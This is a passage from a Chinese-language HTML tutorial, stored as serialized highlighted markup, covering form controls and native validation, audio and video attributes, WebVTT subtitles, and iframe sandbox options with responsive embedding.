label",[331,126250,518],{"class":337},[331,126252,126253],{"class":365},"\"华东\"",[331,126255,505],{"class":337},[331,126257,126258,126260,126262,126264,126266,126269,126272,126274],{"class":333,"line":371},[331,126259,6036],{"class":337},[331,126261,33523],{"class":497},[331,126263,33526],{"class":501},[331,126265,518],{"class":337},[331,126267,126268],{"class":365},"\"sh\"",[331,126270,126271],{"class":337},">上海\u003C\u002F",[331,126273,33523],{"class":497},[331,126275,505],{"class":337},[331,126277,126278,126280,126282,126284,126286,126289,126291,126293],{"class":333,"line":384},[331,126279,6036],{"class":337},[331,126281,33523],{"class":497},[331,126283,33526],{"class":501},[331,126285,518],{"class":337},[331,126287,126288],{"class":365},"\"hz\"",[331,126290,70455],{"class":337},[331,126292,33523],{"class":497},[331,126294,505],{"class":337},[331,126296,126297,126299,126301],{"class":333,"line":397},[331,126298,778],{"class":337},[331,126300,126245],{"class":497},[331,126302,505],{"class":337},[331,126304,126305,126307,126309],{"class":333,"line":418},[331,126306,788],{"class":337},[331,126308,33506],{"class":497},[331,126310,505],{"class":337},[331,126312,126313],{"class":333,"line":427},[331,126314,998],{"emptyLinePlaceholder":997},[331,126316,126317,126319,126322,126324,126326,126329,126331,126333,126335,126338,126340,126343,126345,126347],{"class":333,"line":439},[331,126318,510],{"class":337},[331,126320,126321],{"class":497},"textarea",[331,126323,827],{"class":501},[331,126325,518],{"class":337},[331,126327,126328],{"class":365},"\"note\"",[331,126330,559],{"class":501},[331,126332,518],{"class":337},[331,126334,126328],{"class":365},[331,126336,126337],{"class":501}," rows",[331,126339,518],{"class":337},[331,126341,126342],{"class":365},"\"4\"",[331,126344,902],{"class":337},[331,126346,126321],{"class":497},[331,126348,505],{"class":337},[331,126350,126351],{"class":333,"line":450},[331,126352,998],{"emptyLinePlaceholder":997},[331,126354,126355,126357,126359,126361,126363,126366,126368,126370,126373,126375,126377,126379],{"class":333,"line":456},[331,126356,510],{"class":337},[331,126358,19733],{"class":497},[331,126360,10160],{"class":501},[331,126362,518],{"class":337},[331,126364,126365],{"class":365},"\"langs\"",[331,126367,827],{"class":501},[331,126369,518],{"class":337},[331,126371,126372],{"class":365},"\"lang\"",[331,126374,559],{"class":501},[331,126376,518],{"class":337},[331,126378,126372],{"class":365},[331,126380,505],{"class":337},[331,126382,126383,126385,126388,126390,126392,126394],{"class":333,"line":775},[331,126384,510],{"class":337},[331,126386,126387],{"class":497},"datalist",[331,126389,827],{"class":501},[331,126391,518],{"class":337},[331,126393,126365],{"class":365},[331,126395,505],{"class":337},[331,126397,126398,126400,126402,126404,126406,126409,126411,126413],{"class":333,"line":785},[331,126399,537],{"class":337},[331,126401,33523],{"class":497},[331,126403,33526],{"class":501},[331,126405,518],{"class":337},[331,126407,126408],{"class":365},"\"HTML\"",[331,126410,902],{"class":337},[331,126412,33523],{"class":497},[331,126414,505],{"class":337},[331,126416,126417,126419,126421,126423,126425,126428,126430,126432],{"class":333,"line":795},[331,126418,537],{"class":337},[331,126420,33523],{"class":497},[331,126422,33526],{"class":501},[331,126424,518],{"class":337},[331,126426,126427],{"class":365},"\"CSS\"",[331,126429,902],{"class":337},[331,126431,33523],{"class":497},[331,126433,505],{"class":337},[331,126435,126436,126438,126440],{"class":333,"line":805},[331,126437,788],{"class":337},[331,126439,126387],{"class":497},[331,126441,505],{"class":337},[11,126443,126444],{},"五条约定：",[1773,126446,126447,126456,126462,126476,126484],{},[1662,126448,126449,268,126451,126455],{},[22,126450,22880],{},[17,126452,92149,126453,108647],{},[22,126454,22924],{},"，初始内容写在开闭标签之间，第一个字符前不要留缩进（空白会真的显示出来），也不可自闭合。",[1662,126457,126458,126461],{},[22,126459,126460],{},"\u003Cselect multiple>"," 在移动端体验很差，多数场景应改用一组复选框。",[1662,126463,126464,10317,126467,126469,126470,126472,126473,126475],{},[22,126465,126466],{},"\u003Coption>",[22,126468,22924],{}," 时提交的是它的文本，带 ",[22,126471,22924],{}," 时提交 ",[22,126474,22924],{},"——这个默认差异常造成前后端读到的值不一致。",[1662,126477,126478,126480,126481,126483],{},[22,126479,126387],{}," 是「自由输入 + 建议」，不强制只能选；",[22,126482,33506],{}," 是「只能选」。",[1662,126485,126486,126489,126490,4809,126493,126496],{},[22,126487,126488],{},"\u003Coptgroup>"," 给下拉里的选项分组，",[22,126491,126492],{},"\u003Cfieldset>",[22,126494,126495],{},"\u003Clegend>"," 给页面上的控件分组，两者作用域完全不同。",[48,126498,126500],{"id":126499},"十一表单校验属性","十一、表单校验属性",[11,126502,126503,126504,126507],{},"HTML 原生校验（Constraint Validation API）的价值是",[17,126505,126506],{},"在服务端返回之前就先给用户反馈","，成本为零。",[53,126509,126511],{"id":126510},"required-与-type最常用的两个","required 与 type：最常用的两个",[308,126513,126515],{"className":485,"code":126514,"language":487,"meta":314,"style":314},"\u003Cinput name=\"nick\" required>\n\u003Cinput name=\"email\" type=\"email\" required>\n",[22,126516,126517,126535],{"__ignoreMap":314},[331,126518,126519,126521,126523,126525,126527,126530,126533],{"class":333,"line":334},[331,126520,510],{"class":337},[331,126522,19733],{"class":497},[331,126524,559],{"class":501},[331,126526,518],{"class":337},[331,126528,126529],{"class":365},"\"nick\"",[331,126531,126532],{"class":501}," required",[331,126534,505],{"class":337},[331,126536,126537,126539,126541,126543,126545,126547,126549,126551,126553,126555],{"class":333,"line":341},[331,126538,510],{"class":337},[331,126540,19733],{"class":497},[331,126542,559],{"class":501},[331,126544,518],{"class":337},[331,126546,126099],{"class":365},[331,126548,835],{"class":501},[331,126550,518],{"class":337},[331,126552,126099],{"class":365},[331,126554,126532],{"class":501},[331,126556,505],{"class":337},[11,126558,126559,126562,126563,1901,126566,126568,126569,126572,126573,161],{},[22,126560,126561],{},"required"," 拦空值，",[22,126564,126565],{},"type=\"email\"",[22,126567,18795],{}," 附带格式检查，两者叠加才能既「不能不填」又「不能乱填」。",[22,126570,126571],{},"type=\"number\""," 已隐含「必须是数字」，一般不需要额外 ",[22,126574,126575],{},"pattern",[11,126577,126578,126579,126581,126582,126584],{},"复选框的必填有个坑：「必须同意条款」要给那一个复选框自己加 ",[22,126580,126561],{},"；一组同名复选框里只要任意一个带 ",[22,126583,126561],{},"，就只要求其中一个被勾选。",[4748,126586],{"height":42104,"src":126587,"title":126588},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F11-form-validation.html","示例 11：原生校验与提示接管",[53,126590,126592],{"id":126591},"patternminmaxstepminlength","pattern、min、max、step、minlength",[57,126594,126595,126605],{},[60,126596,126597],{},[63,126598,126599,126601,126603],{},[66,126600,119219],{},[66,126602,5444],{},[66,126604,19257],{},[79,126606,126607,126629,126650,126667,126682,126699],{},[63,126608,126609,126613,126616],{},[84,126610,126611],{},[22,126612,126575],{},[84,126614,126615],{},"正则",[84,126617,126618,126621,126622,126625,126626,126628],{},[17,126619,126620],{},"隐含整串匹配","，别自己加 ",[22,126623,126624],{},"^…$","；必须同时给 ",[22,126627,581],{}," 说明规则，否则用户只看到「与此格式不符」",[63,126630,126631,126639,126642],{},[84,126632,126633,1901,126636],{},[22,126634,126635],{},"minlength",[22,126637,126638],{},"maxlength",[84,126640,126641],{},"文本长度",[84,126643,126644,126646,126647,126649],{},[22,126645,126638],{}," 直接禁止继续输入（硬限制），",[22,126648,126635],{}," 在提交时校验（软限制）",[63,126651,126652,126658,126661],{},[84,126653,126654,1901,126656],{},[22,126655,113735],{},[22,126657,30126],{},[84,126659,126660],{},"数值或日期边界",[84,126662,126663,126664,126666],{},"只对数字\u002F日期类 ",[22,126665,3628],{}," 生效",[63,126668,126669,126673,126676],{},[84,126670,126671],{},[22,126672,30772],{},[84,126674,126675],{},"步长倍数",[84,126677,126678,126681],{},[22,126679,126680],{},"step=\"2\""," 时输入 3 不合法",[63,126683,126684,126688,126691],{},[84,126685,126686],{},[22,126687,22955],{},[84,126689,126690],{},"允许多值",[84,126692,47180,126693,126695,126696],{},[22,126694,126565],{},"（逗号分隔）或 ",[22,126697,126698],{},"\"file\"",[63,126700,126701,126705,126708],{},[84,126702,126703],{},[22,126704,126019],{},[84,126706,126707],{},"文件类型",[84,126709,126710,6745,126713,126716],{},[22,126711,126712],{},"accept=\"image\u002F*\"",[22,126714,126715],{},".pdf,.doc","；只是筛选，不是安全限制",[11,126718,126719,126722,126723,126725],{},[22,126720,126721],{},"pattern=\"[A-Z]{2}\\d{4}\" title=\"两位大写字母加四位数字\""," 会让浏览器气泡直接显示这段 ",[22,126724,581],{},"，比默认提示有用得多。",[53,126727,126729],{"id":126728},"校验提示novalidate-与接管","校验提示、novalidate 与接管",[11,126731,126732],{},"原生气泡的文案语言跟随浏览器界面语言，中文站会出现「Please fill out this field」。接管的标准写法：",[308,126734,126736],{"className":485,"code":126735,"language":487,"meta":314,"style":314},"\u003Cform novalidate>…\u003C\u002Fform>\n",[22,126737,126738],{"__ignoreMap":314},[331,126739,126740,126742,126744,126747,126749,126751],{"class":333,"line":334},[331,126741,510],{"class":337},[331,126743,19713],{"class":497},[331,126745,126746],{"class":501}," novalidate",[331,126748,6274],{"class":337},[331,126750,19713],{"class":497},[331,126752,505],{"class":337},[308,126754,126756],{"className":942,"code":126755,"language":944,"meta":314,"style":314},"const form = document.querySelector('form')\nform.addEventListener('submit', (e) => {\n  if (!form.checkValidity()) {\n    e.preventDefault()\n    form.reportValidity()   \u002F\u002F 仍然想用浏览器气泡时就调这个\n    return\n  }\n  \u002F\u002F 校验通过，再发请求\n})\n",[22,126757,126758,126777,126797,126812,126821,126834,126838,126842,126847],{"__ignoreMap":314},[331,126759,126760,126762,126764,126766,126768,126770,126772,126775],{"class":333,"line":334},[331,126761,951],{"class":616},[331,126763,9153],{"class":344},[331,126765,957],{"class":616},[331,126767,960],{"class":337},[331,126769,963],{"class":501},[331,126771,966],{"class":337},[331,126773,126774],{"class":365},"'form'",[331,126776,972],{"class":337},[331,126778,126779,126781,126783,126785,126787,126789,126791,126793,126795],{"class":333,"line":341},[331,126780,70517],{"class":337},[331,126782,1399],{"class":501},[331,126784,966],{"class":337},[331,126786,70670],{"class":365},[331,126788,14706],{"class":337},[331,126790,9481],{"class":2472},[331,126792,3180],{"class":337},[331,126794,1489],{"class":616},[331,126796,1100],{"class":337},[331,126798,126799,126801,126803,126805,126807,126810],{"class":333,"line":357},[331,126800,1526],{"class":616},[331,126802,1147],{"class":337},[331,126804,1150],{"class":616},[331,126806,70517],{"class":337},[331,126808,126809],{"class":501},"checkValidity",[331,126811,32305],{"class":337},[331,126813,126814,126817,126819],{"class":333,"line":371},[331,126815,126816],{"class":337},"    e.",[331,126818,70245],{"class":501},[331,126820,1540],{"class":337},[331,126822,126823,126826,126829,126831],{"class":333,"line":384},[331,126824,126825],{"class":337},"    form.",[331,126827,126828],{"class":501},"reportValidity",[331,126830,32115],{"class":337},[331,126832,126833],{"class":1003},"\u002F\u002F 仍然想用浏览器气泡时就调这个\n",[331,126835,126836],{"class":333,"line":397},[331,126837,72139],{"class":616},[331,126839,126840],{"class":333,"line":418},[331,126841,453],{"class":337},[331,126843,126844],{"class":333,"line":427},[331,126845,126846],{"class":1003},"  \u002F\u002F 校验通过，再发请求\n",[331,126848,126849],{"class":333,"line":439},[331,126850,5399],{"class":337},[11,126852,126853,126854,126857,126858,126861,126862,126865,126866,126869,126870,1901,126872,1901,126874,1901,126877,126880,126881,126884],{},"单个控件的三个 API：",[22,126855,126856],{},"el.checkValidity()"," 返回布尔，",[22,126859,126860],{},"el.validationMessage"," 是浏览器准备说的话，",[22,126863,126864],{},"el.setCustomValidity('文案')"," 替换那句话——",[17,126867,126868],{},"不成立时记得设回空字符串","，否则该字段永久无效。CSS 侧还有 ",[22,126871,116922],{},[22,126873,116925],{},[22,126875,126876],{},":required",[22,126878,126879],{},":optional"," 四个伪类可以做即时描边，注意它们在用户还没输入完时就已变红，通常要配合 ",[22,126882,126883],{},":not(:placeholder-shown)"," 收窄条件。",[53,126886,126887],{"id":126887},"原生校验不能替代服务端校验",[11,126889,126890],{},"原生校验属于用户体验层，不是安全层。绕过它只要一行：",[308,126892,126894],{"className":3902,"code":126893,"language":3904,"meta":314,"style":314},"curl -X POST https:\u002F\u002F你的域名\u002Fapi\u002Fregister -d 'email=不是邮箱&nick='\n",[22,126895,126896],{"__ignoreMap":314},[331,126897,126898,126900,126902,126904,126907,126909],{"class":333,"line":334},[331,126899,15975],{"class":501},[331,126901,83497],{"class":344},[331,126903,88497],{"class":365},[331,126905,126906],{"class":365}," https:\u002F\u002F你的域名\u002Fapi\u002Fregister",[331,126908,36867],{"class":344},[331,126910,126911],{"class":365}," 'email=不是邮箱&nick='\n",[11,126913,126914,126915,126918],{},"三条边界：前端校验负责即时反馈、可以宽松；",[17,126916,126917],{},"服务端校验是唯一可信的一层","，所有字段必查；数据库约束是最后一道防线。",[11,126920,126921,126922,5160,126924,322,126926,48541,126928,126931,126932,48541,126934,126936,126937,126939,126940,161],{},"顺带厘清 ",[22,126923,26099],{},[22,126925,26123],{},[22,126927,26123],{},[17,126929,126930],{},"会","提交、可聚焦可复制；",[22,126933,26099],{},[17,126935,36684],{},"提交、不可聚焦、通常显示为灰。只想「不让改但仍要有值」用 ",[22,126938,26123],{},"，纯展示结果更应改用 ",[22,126941,126942],{},"\u003Coutput>",[48,126944,126946],{"id":126945},"十二audio-与-video","十二、audio 与 video",[11,126948,126949,126950,126953,126954,161],{},"音视频标签的难点不在属性多，而在",[17,126951,126952],{},"浏览器的自动播放策略","和",[17,126955,126956],{},"多格式降级",[53,126958,126960],{"id":126959},"controlsautoplay-与浏览器的自动播放限制","controls、autoplay 与浏览器的自动播放限制",[308,126962,126964],{"className":485,"code":126963,"language":487,"meta":314,"style":314},"\u003Cvideo controls preload=\"metadata\" poster=\"\u002Fimg\u002Fposter.jpg\" width=\"1280\" height=\"720\">\n  你的浏览器不支持 video，\u003Ca href=\"\u002Fmedia\u002Fdemo.mp4\">下载视频\u003C\u002Fa>。\n\u003C\u002Fvideo>\n",[22,126965,126966,127008,127030],{"__ignoreMap":314},[331,126967,126968,126970,126973,126976,126979,126981,126984,126987,126989,126992,126994,126996,126999,127001,127003,127006],{"class":333,"line":334},[331,126969,510],{"class":337},[331,126971,126972],{"class":497},"video",[331,126974,126975],{"class":501}," controls",[331,126977,126978],{"class":501}," preload",[331,126980,518],{"class":337},[331,126982,126983],{"class":365},"\"metadata\"",[331,126985,126986],{"class":501}," poster",[331,126988,518],{"class":337},[331,126990,126991],{"class":365},"\"\u002Fimg\u002Fposter.jpg\"",[331,126993,114770],{"class":501},[331,126995,518],{"class":337},[331,126997,126998],{"class":365},"\"1280\"",[331,127000,124118],{"class":501},[331,127002,518],{"class":337},[331,127004,127005],{"class":365},"\"720\"",[331,127007,505],{"class":337},[331,127009,127010,127013,127015,127017,127019,127022,127025,127027],{"class":333,"line":341},[331,127011,127012],{"class":337},"  你的浏览器不支持 video，\u003C",[331,127014,30],{"class":497},[331,127016,18790],{"class":501},[331,127018,518],{"class":337},[331,127020,127021],{"class":365},"\"\u002Fmedia\u002Fdemo.mp4\"",[331,127023,127024],{"class":337},">下载视频\u003C\u002F",[331,127026,30],{"class":497},[331,127028,127029],{"class":337},">。\n",[331,127031,127032,127034,127036],{"class":333,"line":357},[331,127033,788],{"class":337},[331,127035,126972],{"class":497},[331,127037,505],{"class":337},[1773,127039,127040,127046,127062,127068,127081,127098],{},[1662,127041,127042,127045],{},[22,127043,127044],{},"controls"," 不写就没有播放条，用户什么都点不了——自绘播放器要几十行 JS，默认用它。",[1662,127047,127048,268,127051,127057,127058,127061],{},[22,127049,127050],{},"autoplay",[17,127052,127053,127054],{},"必须同时写 ",[22,127055,127056],{},"muted"," 才可能生效。带声音的自动播放会被浏览器拦截（这是 Chrome\u002FSafari\u002FFirefox 共同策略，为了不把用户突然吓一跳，也为了省流量）。用户与页面有过交互（点击、按键）之后，脚本调用 ",[22,127059,127060],{},"play()"," 才不受限制。",[1662,127063,127064,127067],{},[22,127065,127066],{},"playsinline"," 在 iPhone 上必写，漏了它 Safari 会强制切换到全屏播放器，你在视频上方叠的字幕、水印、按钮全部失效。",[1662,127069,127070,4809,127073,4809,127075,4809,127077,127080],{},[22,127071,127072],{},"loop",[22,127074,127056],{},[22,127076,127066],{},[22,127078,127079],{},"preload=\"none\""," 是背景装饰视频的标准组合。",[1662,127082,127083,127086,127087,1901,127089,1901,127092,127094,127095,127097],{},[22,127084,127085],{},"preload"," 取 ",[22,127088,50866],{},[22,127090,127091],{},"metadata",[22,127093,90367],{},"：列表页里的多个视频绝不能一律 ",[22,127096,90367],{},"，否则首屏带宽被视频吃光。",[1662,127099,127100,127103],{},[22,127101,127102],{},"poster"," 给首帧占位图，既省流量也防止布局塌陷。",[4748,127105],{"height":32474,"src":127106,"title":127107},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F12-media.html","示例 12：audio 与 video 的完整结构",[53,127109,127111],{"id":127110},"source-多格式降级","source 多格式降级",[308,127113,127115],{"className":485,"code":127114,"language":487,"meta":314,"style":314},"\u003Cvideo controls poster=\"\u002Fimg\u002Fposter.jpg\">\n  \u003Csource src=\"\u002Fmedia\u002Fdemo.av1.mp4\" type=\"video\u002Fmp4;codecs=av01.0.09M.08\">\n  \u003Csource src=\"\u002Fmedia\u002Fdemo.webm\" type=\"video\u002Fwebm\">\n  \u003Csource src=\"\u002Fmedia\u002Fdemo.mp4\" type=\"video\u002Fmp4\">\n  降级文字与下载链接\n\u003C\u002Fvideo>\n",[22,127116,127117,127133,127155,127177,127198,127203],{"__ignoreMap":314},[331,127118,127119,127121,127123,127125,127127,127129,127131],{"class":333,"line":334},[331,127120,510],{"class":337},[331,127122,126972],{"class":497},[331,127124,126975],{"class":501},[331,127126,126986],{"class":501},[331,127128,518],{"class":337},[331,127130,126991],{"class":365},[331,127132,505],{"class":337},[331,127134,127135,127137,127139,127141,127143,127146,127148,127150,127153],{"class":333,"line":341},[331,127136,537],{"class":337},[331,127138,55942],{"class":497},[331,127140,894],{"class":501},[331,127142,518],{"class":337},[331,127144,127145],{"class":365},"\"\u002Fmedia\u002Fdemo.av1.mp4\"",[331,127147,835],{"class":501},[331,127149,518],{"class":337},[331,127151,127152],{"class":365},"\"video\u002Fmp4;codecs=av01.0.09M.08\"",[331,127154,505],{"class":337},[331,127156,127157,127159,127161,127163,127165,127168,127170,127172,127175],{"class":333,"line":357},[331,127158,537],{"class":337},[331,127160,55942],{"class":497},[331,127162,894],{"class":501},[331,127164,518],{"class":337},[331,127166,127167],{"class":365},"\"\u002Fmedia\u002Fdemo.webm\"",[331,127169,835],{"class":501},[331,127171,518],{"class":337},[331,127173,127174],{"class":365},"\"video\u002Fwebm\"",[331,127176,505],{"class":337},[331,127178,127179,127181,127183,127185,127187,127189,127191,127193,127196],{"class":333,"line":371},[331,127180,537],{"class":337},[331,127182,55942],{"class":497},[331,127184,894],{"class":501},[331,127186,518],{"class":337},[331,127188,127021],{"class":365},[331,127190,835],{"class":501},[331,127192,518],{"class":337},[331,127194,127195],{"class":365},"\"video\u002Fmp4\"",[331,127197,505],{"class":337},[331,127199,127200],{"class":333,"line":384},[331,127201,127202],{"class":337},"  降级文字与下载链接\n",[331,127204,127205,127207,127209],{"class":333,"line":397},[331,127206,788],{"class":337},[331,127208,126972],{"class":497},[331,127210,505],{"class":337},[11,127212,127213,127214,127217,127218,127220,127221,127223],{},"浏览器",[17,127215,127216],{},"从上往下","逐个试，用第一个它能解码的 ",[22,127219,124262],{},"，所以顺序应当是「体积最优 → 兼容兜底」。全部失败时渲染 ",[22,127222,124258],{}," 内部的降级内容——这一句是必须保留的，否则旧浏览器只剩一个空白框。",[11,127225,127226,127227,127230,127231,127234,127235,6698,127238,127240,127241,127244],{},"编码格式的现实选择：H.264（",[22,127228,127229],{},"video\u002Fmp4","）兼容最好、效率一般；VP9\u002FAV1（",[22,127232,127233],{},"video\u002Fwebm","）同画质明显更小，Safari 对 AV1 的支持较晚。因此常见做法是",[17,127236,127237],{},"同时给 mp4 和 webm",[22,127239,124262],{}," 列出三种让新浏览器优先取小体积的那份。音频同理，",[22,127242,127243],{},"\u003Caudio>"," 可以只给一个 MP3，兼容性风险最小。",[53,127246,127248],{"id":127247},"track-字幕","track 字幕",[308,127250,127252],{"className":485,"code":127251,"language":487,"meta":314,"style":314},"\u003Cvideo controls>\n  \u003Csource src=\"\u002Fmedia\u002Fdemo.mp4\" type=\"video\u002Fmp4\">\n  \u003Ctrack kind=\"subtitles\" src=\"\u002Fmedia\u002Fdemo.zh.vtt\" srclang=\"zh\" label=\"中文\" default>\n  \u003Ctrack kind=\"captions\" src=\"\u002Fmedia\u002Fdemo.en.vtt\" srclang=\"en\" label=\"English\">\n\u003C\u002Fvideo>\n",[22,127253,127254,127264,127284,127325,127361],{"__ignoreMap":314},[331,127255,127256,127258,127260,127262],{"class":333,"line":334},[331,127257,510],{"class":337},[331,127259,126972],{"class":497},[331,127261,126975],{"class":501},[331,127263,505],{"class":337},[331,127265,127266,127268,127270,127272,127274,127276,127278,127280,127282],{"class":333,"line":341},[331,127267,537],{"class":337},[331,127269,55942],{"class":497},[331,127271,894],{"class":501},[331,127273,518],{"class":337},[331,127275,127021],{"class":365},[331,127277,835],{"class":501},[331,127279,518],{"class":337},[331,127281,127195],{"class":365},[331,127283,505],{"class":337},[331,127285,127286,127288,127291,127294,127296,127299,127301,127303,127306,127309,127311,127314,127316,127318,127321,127323],{"class":333,"line":357},[331,127287,537],{"class":337},[331,127289,127290],{"class":497},"track",[331,127292,127293],{"class":501}," kind",[331,127295,518],{"class":337},[331,127297,127298],{"class":365},"\"subtitles\"",[331,127300,894],{"class":501},[331,127302,518],{"class":337},[331,127304,127305],{"class":365},"\"\u002Fmedia\u002Fdemo.zh.vtt\"",[331,127307,127308],{"class":501}," srclang",[331,127310,518],{"class":337},[331,127312,127313],{"class":365},"\"zh\"",[331,127315,126248],{"class":501},[331,127317,518],{"class":337},[331,127319,127320],{"class":365},"\"中文\"",[331,127322,5222],{"class":501},[331,127324,505],{"class":337},[331,127326,127327,127329,127331,127333,127335,127338,127340,127342,127345,127347,127349,127352,127354,127356,127359],{"class":333,"line":371},[331,127328,537],{"class":337},[331,127330,127290],{"class":497},[331,127332,127293],{"class":501},[331,127334,518],{"class":337},[331,127336,127337],{"class":365},"\"captions\"",[331,127339,894],{"class":501},[331,127341,518],{"class":337},[331,127343,127344],{"class":365},"\"\u002Fmedia\u002Fdemo.en.vtt\"",[331,127346,127308],{"class":501},[331,127348,518],{"class":337},[331,127350,127351],{"class":365},"\"en\"",[331,127353,126248],{"class":501},[331,127355,518],{"class":337},[331,127357,127358],{"class":365},"\"English\"",[331,127360,505],{"class":337},[331,127362,127363,127365,127367],{"class":333,"line":384},[331,127364,788],{"class":337},[331,127366,126972],{"class":497},[331,127368,505],{"class":337},[11,127370,127371,127372,127375,127376,272,127378,127381],{},"字幕文件是 WebVTT 格式：首行必须 ",[22,127373,127374],{},"WEBVTT","，之后是「起止时间 → 文本」的块，可含 ",[22,127377,123388],{},[22,127379,127380],{},"\u003Cc.class>"," 之类的轻量标记。",[1773,127383,127384,127406,127414,127421],{},[1662,127385,127386,127389,127390,127393,127394,127397,127398,127401,127402,127405],{},[22,127387,127388],{},"kind=\"subtitles\""," 是给",[17,127391,127392],{},"听不见声音的用户以外的人","用的翻译；",[22,127395,127396],{},"kind=\"captions\""," 是给听障用户的，包含「",[331,127399,127400],{},"掌声","」这类音效说明；",[22,127403,127404],{},"kind=\"descriptions\""," 是给视障用户的画面描述音轨。",[1662,127407,127408,127410,127411,127413],{},[22,127409,5854],{}," 让该轨默认开启，",[22,127412,23394],{}," 是播放器字幕菜单里的名字。",[1662,127415,127416,127417,127420],{},"字幕文件与页面不同源时必须返回 CORS 头，否则浏览器静默不加载——表现为「字幕点了没反应」，Network 面板里那条请求是 ",[22,127418,127419],{},"(failed) net::ERR_…"," 或被 CORS 策略拦下。",[1662,127422,127423,127424,127427,127428,1901,127430,4813],{},"用 JS 操作轨道：",[22,127425,127426],{},"video.textTracks[0].mode = 'showing'","（其它值 ",[22,127429,111102],{},[22,127431,26099],{},[11,127433,127434,127436,127437,127440,127441,127444],{},[22,127435,127243],{}," 也支持 ",[22,127438,127439],{},"\u003Ctrack>","，但没有可视区域来显示，实际用途很小——给音频配",[17,127442,127443],{},"文字稿","才是对用户真正有帮助的做法。",[48,127446,127448],{"id":127447},"十三iframe-与内嵌内容","十三、iframe 与内嵌内容",[11,127450,127451],{},"iframe 是「页面里另一个完整文档」：独立的 CSS、独立的 JS 运行环境、独立的滚动条。本站教程里每一个示例框都是它。",[53,127453,127455],{"id":127454},"src-与-sandbox-的边界","src 与 sandbox 的边界",[308,127457,127459],{"className":485,"code":127458,"language":487,"meta":314,"style":314},"\u003Ciframe\n  src=\"\u002Fembed\u002Freport\"\n  title=\"季度报表\"\n  loading=\"lazy\"\n  sandbox=\"allow-scripts allow-forms\"\n  referrerpolicy=\"no-referrer-when-downgrade\"\n>\u003C\u002Fiframe>\n",[22,127460,127461,127468,127478,127488,127498,127508,127518],{"__ignoreMap":314},[331,127462,127463,127465],{"class":333,"line":334},[331,127464,510],{"class":337},[331,127466,127467],{"class":497},"iframe\n",[331,127469,127470,127473,127475],{"class":333,"line":341},[331,127471,127472],{"class":501},"  src",[331,127474,518],{"class":337},[331,127476,127477],{"class":365},"\"\u002Fembed\u002Freport\"\n",[331,127479,127480,127483,127485],{"class":333,"line":357},[331,127481,127482],{"class":501},"  title",[331,127484,518],{"class":337},[331,127486,127487],{"class":365},"\"季度报表\"\n",[331,127489,127490,127493,127495],{"class":333,"line":371},[331,127491,127492],{"class":501},"  loading",[331,127494,518],{"class":337},[331,127496,127497],{"class":365},"\"lazy\"\n",[331,127499,127500,127503,127505],{"class":333,"line":384},[331,127501,127502],{"class":501},"  sandbox",[331,127504,518],{"class":337},[331,127506,127507],{"class":365},"\"allow-scripts allow-forms\"\n",[331,127509,127510,127513,127515],{"class":333,"line":397},[331,127511,127512],{"class":501},"  referrerpolicy",[331,127514,518],{"class":337},[331,127516,127517],{"class":365},"\"no-referrer-when-downgrade\"\n",[331,127519,127520,127522,127525],{"class":333,"line":418},[331,127521,902],{"class":337},[331,127523,127524],{"class":497},"iframe",[331,127526,505],{"class":337},[11,127528,127529,18283,127532,127535,127536,127539],{},[22,127530,127531],{},"sandbox",[17,127533,127534],{},"白名单","：不写这个属性表示什么都不限制；写了但值为空串（",[22,127537,127538],{},"sandbox=\"\"","）表示最严格的封锁——脚本不能跑、表单不能提交、不能弹窗、不能把外层页面跳走。需要哪项就显式列哪项：",[57,127541,127542,127553],{},[60,127543,127544],{},[63,127545,127546,127548,127551],{},[66,127547,62845],{},[66,127549,127550],{},"放开什么",[66,127552,19257],{},[79,127554,127555,127568,127581,127598,127612,127627],{},[63,127556,127557,127562,127565],{},[84,127558,127559],{},[22,127560,127561],{},"allow-scripts",[84,127563,127564],{},"内部 JS",[84,127566,127567],{},"演示代码必须",[63,127569,127570,127575,127578],{},[84,127571,127572],{},[22,127573,127574],{},"allow-forms",[84,127576,127577],{},"内部表单提交",[84,127579,127580],{},"表单示例",[63,127582,127583,127588,127595],{},[84,127584,127585],{},[22,127586,127587],{},"allow-modals",[84,127589,127590,655,127592],{},[22,127591,70967],{},[22,127593,127594],{},"confirm",[84,127596,127597],{},"讲解弹窗时",[63,127599,127600,127605,127610],{},[84,127601,127602],{},[22,127603,127604],{},"allow-popups",[84,127606,127607],{},[22,127608,127609],{},"window.open",[84,127611,83203],{},[63,127613,127614,127618,127624],{},[84,127615,127616],{},[22,127617,34771],{},[84,127619,127620,127621,127623],{},"保留同源身份，可读自己的 ",[22,127622,2771],{},"\u002Fcookie",[84,127625,127626],{},"需要存储的示例",[63,127628,127629,127634,127637],{},[84,127630,127631],{},[22,127632,127633],{},"allow-top-navigation",[84,127635,127636],{},"允许内部把外层跳走",[84,127638,127639,127642],{},[17,127640,127641],{},"基本别开","，是钓鱼入口",[11,127644,127645,127646,5160,127648,268,127650,127653,127654,127657,127658,127660,127661,127663],{},"有个必须知道的陷阱：",[22,127647,127561],{},[22,127649,34771],{},[17,127651,127652],{},"同时","给、且嵌的是同源文档时，沙箱等于形同虚设（内部脚本能拿到自己的 window 再爬 ",[22,127655,127656],{},"parent","），浏览器控制台会直接警告这一组合。本站的示例框故意不给 ",[22,127659,34771],{},"，代价是涉及 ",[22,127662,2771],{}," 的例子必须在「新标签页」里看。",[53,127665,127667],{"id":127666},"title-不是可选项","title 不是可选项",[11,127669,127670,127671,127673,127674,127676,127677,655,127679,127681],{},"读屏用户通过「框架列表」在 iframe 间跳转，",[22,127672,581],{}," 就是列表里的名称。缺 ",[22,127675,581],{}," 的 iframe 在 Lighthouse \u002F axe 的无障碍审计里是确定的错误项。同理，",[22,127678,608],{},[22,127680,99201],{}," 或 CSS 尺寸要写清楚，否则 iframe 会塌陷成 150px 高的默认值。",[4748,127683],{"height":32474,"src":127684,"title":127685},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F13-iframe.html","示例 13：iframe、sandbox 与响应式内嵌",[53,127687,127688],{"id":127688},"响应式内嵌容器",[11,127690,127691,127692,127695,127696,322],{},"第三方给的嵌入代码通常写死 ",[22,127693,127694],{},"width=\"560\" height=\"315\"","，手机上直接横向溢出。现代写法用 ",[22,127697,114999],{},[308,127699,127701],{"className":485,"code":127700,"language":487,"meta":314,"style":314},"\u003Cdiv style=\"aspect-ratio:16\u002F9;position:relative\">\n  \u003Ciframe style=\"position:absolute;inset:0;width:100%;height:100%;border:0\" src=\"…\" title=\"…\" 